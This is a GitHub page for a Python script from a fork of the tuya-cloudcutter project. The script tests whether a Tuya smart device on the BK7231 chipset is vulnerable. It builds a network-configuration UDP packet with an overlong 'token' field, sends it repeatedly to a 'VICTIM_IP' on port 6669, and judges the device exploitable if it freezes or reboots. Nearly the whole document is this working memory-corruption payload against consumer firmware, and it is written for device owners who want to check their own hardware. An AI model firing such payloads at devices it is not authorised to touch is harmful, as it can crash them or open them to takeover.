forked from tuya-cloudcutter/tuya-cloudcutter
-
Notifications
You must be signed in to change notification settings - Fork 0
/
test_device_exploitable.py
72 lines (58 loc) · 2.67 KB
/
test_device_exploitable.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import struct
import time
import zlib
import socket
import sys
MAX_CONFIG_PACKET_PAYLOAD_LEN = 0xE8
VICTIM_IP = '192.168.175.1'
VICTIM_PORT = 6669
def build_network_config_packet(payload):
if len(payload) > MAX_CONFIG_PACKET_PAYLOAD_LEN:
raise ValueError('Payload is too long!')
# NOTE
# fr_num and crc do not seem to be used in the disas
# calculating them anyway - in case it's needed
# for some reason.
tail_len = 8
head, tail = 0x55aa, 0xaa55
fr_num, fr_type = 0, 0x1
plen = len(payload) + tail_len
buffer = struct.pack("!IIII", head, fr_num, fr_type, plen)
buffer += payload
crc = zlib.crc32(buffer)
buffer += struct.pack("!II", crc, tail)
return buffer
def send_network_config_datagram(datagram):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(datagram, (VICTIM_IP, VICTIM_PORT))
def encode_json_val(value):
encoded = []
escaped = list(map(ord, '"\\'))
escape_char = ord('\\')
for i in value:
if i in escaped:
encoded.append(escape_char)
encoded.append(i)
return bytes(encoded)
def check_valid_payload(value):
eq_zero = lambda x: x == 0
if any(map(eq_zero, value)):
print('[!] At least one null byte detected in payload. Clobbering will stop before that.')
return value
print("This script will attempt to help you lower the chances of prying open a device that won't be exploitable")
print("However, it's not 100% foolproof either, there are more devices that are vulnerable which are not based on")
print("the BK7231 chipset. So, please take that into account.")
print('Before continuing, please set your device in AP mode first. This usually takes 6 power cycles off and on with ~1 sec between each.')
answer = input('Is your device now in AP mode? (yes/no) [default: no]: ').lower()
if not 'y' in answer:
print("Testing requires AP mode. If the device does not have it, it's not exploitable.")
sys.exit(0)
input("Please connect to the device's AP then hit enter to continue.")
payload = b'{"ssid":"A","token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x11\x11\x11","passwd":"AAAA"}'
payload = check_valid_payload(payload)
datagram = build_network_config_packet(payload=payload)
for _ in range(5):
send_network_config_datagram(datagram=datagram)
time.sleep(0.200)
print("Exploit payload sent! If the device has an LED and now seems to be 'frozen', it's likely exploitable.")
print("Leave it be for ~60 seconds, if its WiFi AP stops showing up then it reboots and 'unfreezes' by itself, then it's almost definitely exploitable.")